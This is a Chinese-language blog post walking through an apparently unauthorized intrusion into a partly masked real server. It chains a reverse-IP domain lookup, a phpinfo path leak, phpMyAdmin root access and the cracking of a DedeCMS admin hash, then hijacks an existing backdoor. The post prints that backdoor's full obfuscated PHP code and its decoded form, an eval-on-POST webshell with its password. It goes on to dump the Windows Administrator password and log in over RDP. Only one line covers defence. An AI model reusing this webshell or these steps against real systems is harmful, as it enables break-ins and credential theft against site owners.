利用CMS漏洞滲透並獲取某服務器權限

在phpmyadmin漏洞與利用專題中,我們從多個角度介紹瞭如何獲取webshell並獲取服務器權限的案例和情形,但在實際滲透過程中還有一種情況,即服務器上存在phpMyAdmin,且獲取了root帳號和密碼,但無法執行load_file或者說無法導出webshell到服務器上,在這種情況下就需要充分利用既有CMS漏洞,通過CMS漏洞來獲取webshell。目前使用流行架構,特別是一鍵式部署的系統,大多使用通過CMS,例如Dedecms等,這些CMS系統大多存在漏洞。

將IP地址175.***.*.211放在yougetsignal 網站進行域名反查(http://www.yougetsignal.com/tools/web-sites-on-web-server/)獲取該IP下存在域名,**********.com.cn、wap.**********.com.cn、www.**********.com.cn、www.***-******.com、www.***-******.com.cn,如圖1所示。也可使使用C段自動查詢工具進行查詢,例如在https://phpinfo.me/bing.php中輸入IP地址進行查詢。存在網站http://wap.**********.com.cn/http://www.**********.com.cn/,如圖2所示。兩者相比較第一個網站的數據收集較爲齊全,但第二個網站可以進行C段域名查詢。

圖1反查域名

圖2在線查詢旁站
2. 獲取網站真實路徑

直接在瀏覽器中訪問該IP地址,存在列目錄漏洞,通過phpinfo直接獲取真實路徑地址,通過該頁面的信息,還可以判斷服務器是Windows+Apache+Mysql+php架構。且爲phpstudy安裝的可能性極高。通過175.***.*.211/phpinfo.php網頁的DOCUMENT_ROOT函數可以獲取網站安裝的真實路徑C:/phpsd/WWW/,如圖3所示。

圖3獲取真實路徑
3.通過phpmyadmin直接導出一句話後門失敗

使用後去的root密碼通過phpmyadmin登錄後臺,如圖4所示,登錄後臺後選擇mysql表,然後執行以導出一句話後門代碼,查詢結果顯示成功,但通過刷新網頁並沒有獲取想要的結果,後面繼續嘗試不同的路徑,結果還是沒有成功。

圖4登錄phpmyadmin後臺管理
4.獲取CMS系統管理員密碼

通過PhpMyAdmin查看數據庫mouth_admin獲取CMS系統管理員表mouth_admin表中admin的密碼值a453adb3c3f5630dd492,如圖5所示,明顯爲dedecms系統加密方法,密碼哈希值爲20位,去掉前三位和最後一位,獲取md5值爲3adb3c3f5630dd49,經cmd5.com查詢獲取其密碼爲mouthzt。

圖5獲取管理員密碼值
5.尋找後臺地址

mysql_error_trace.inc 文件訪問時會爆出網站的真實後臺管理地址,直接在瀏覽器中訪問地址http://www.***-******.com/data/mysql_error_trace.inc,獲取後臺管理地址爲mouthzt如圖6所示。使用上面獲取的admin的密碼登錄後臺地址http://www.***-******.com/mouthzt成功進入,如圖7所示。

圖6尋找後臺管理地址
圖7登錄後臺
6.獲取webshell

通過後臺的文件樣式管理,直接瀏覽上傳的文件,在其中發現存在vdimgck.php,通過編輯該文件,如圖8所示,發現該文件存在代碼:

<?php include "filterinc.gif" ?> 
圖8懷疑存在後門文件
下載filterinc.gif文件並使用notepad打開該文件,其內容爲:

<?php[/align]$xN = $xN.substr("iyb42str_relgP804",5,6);
$lvcg = str_split("muk9aw28wltcq",6);
$xN = $xN.substr("l9cdplacepArBE9dk",4,5);
$jl = stripos("epxwkl7f66tfkt","jl");
$t = $t.substr("tQGV2YWwJcVu4",1,6);
$eia7 = trim("j8l2wml46reen");
$b = $b.substr("kbase64kBDt9L6nm",1,6);
$ig = trim("b39w0gnuli");
$y = $y.$xN("rY","","crYrerYa");
$yu1 = str_split("bi1b87m8a0o6x",2);
$t = $t.$xN("xA6x","","wxA6xoJF9");
$nd = stripos("n65t88rxn02edj3f0","nd");
$b = $b.$xN("wI39","","_wI39dwI39ec");
$h8ps = str_split("kn9j9h4mhwgf3fjip",3);
$y = $y.substr("hyte_funwViSVE4J",2,6);
$yf7 = strlen("uehu49g6tg5ko");
$t = $t.$xN("fp","","QfpTfp1Nfp");
$m9 = strlen("eul604cobk");
$b = $b.substr("l0W1odelA1eSnEJ",4,3);
$h0bw = trim("n3e5h0cqtokvgob8tx");
$y = $y.$xN("yb","","cybtio");
$s7a = rtrim("auebyc9g4t5d8k");
$t = $t.substr("bMs0nBh83UWyd",9,4);
$d59q = stripos("cjvuckoy5wf3otea","d59q");
$y = $y.substr("nD9HxQSL8ngR",9,1);
$l1 = str_split("agqq09gbqn1",4);
$t = $t.$xN("w6o4","","wcDw6o4Yw6o40");
$py = stripos("lgy8htrrv1tc3","py");
$t = $t.$xN("eP32","","bXFeP32h");
$xp3d = stripos("ukl0nbnx9gt3","xp3d");
$t = $t.substr("ikJ00HJMngxc",7,5);
$dt2b = strlen("e4a5abuajw3vlcira");
$t = $t.substr("cdN1Kxem53NwmEh86BS",7,4);
$ubj = strlen("wghjnft2op5kx1c086t");
$t = $t.substr("m4aoxdujgnXSkcxL4FWcYd",7,6);
$qx = strlen("rlqfkkftro8gfko7ya");
$t = $t.substr("r7y",1,1);
$mu = rtrim("ngdxwux5vqe1");
$j = $y("", $b($t));
$bnlp = strlen("vufy0ak1fyav");
$sdh = str_split("wmnjvg3c7p0m",4);
$mb = ltrim("n52p1pgaepeokf");
$e0pw = rtrim("uu4mhgp5c9pna4egq");
$ugh = trim("rcpd3o9w99tio9");
$grck = strlen("x5rix5bp1xky7");
$eo6t = strlen("ddi1h14ecuyuc7d");$j();
$dvnq = str_split("prm6giha1vro3604au",8);
$ug8 = rtrim("ec8w52supb4vu8eo");
$rct = stripos("hxe6wo7ewd8me7dt","rct");
$ekqf = str_split("prf5y08e8flffw025j8",8);
$vyr = str_split("umpjcsrfg6h5nd6o45",9);
$wrf = rtrim("fyx99o7938h7ugqh");
$q14 = strlen("tc46osxl1st1ic2");
function o( ){   };
$usf = strlen("fltcpxb7tfbjsmt");
?>
通過對以上代碼進行解碼,比較笨的方法就是在每一行分別打印變量,也即加入
echo "<br>";
print  $變量;
如圖9所示,獲取其核心代碼爲:

QGV2YWwoJF9QT1NUWydwcDY0bXFhMngxcm53NjgnXSk7
base64解碼後爲:@eval($_POST['pp64mqa2x1rnw68']);
圖9解碼加密代碼
至此獲取了一句話後門http://www.***-******.com/vdimgck.php的密碼爲pp64mqa2x1rnw68,通過中國菜刀直接連接獲取webshell權限,如圖10所示。

圖10獲取webshell
在本例中可以直接通過上傳php文件來獲取webshell,但研究別人的東西會發現一些新的思路和工具。

7.獲取系統管理員密碼

在本案例中由於系統採用apache架構,因此是系統權限的可能性極大,通過大馬直接上傳密碼獲取工具,獲取明文密碼,如圖11所示。Administrator 帳號的密碼爲55**996,使用該密碼成功登錄3389終端,如圖12所示。

圖11獲取系統密碼
圖12登錄3338服務器
8.安全防範

加強密碼安全,去掉無用的測試信息頁面,root和admin密碼設置爲15位以上。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章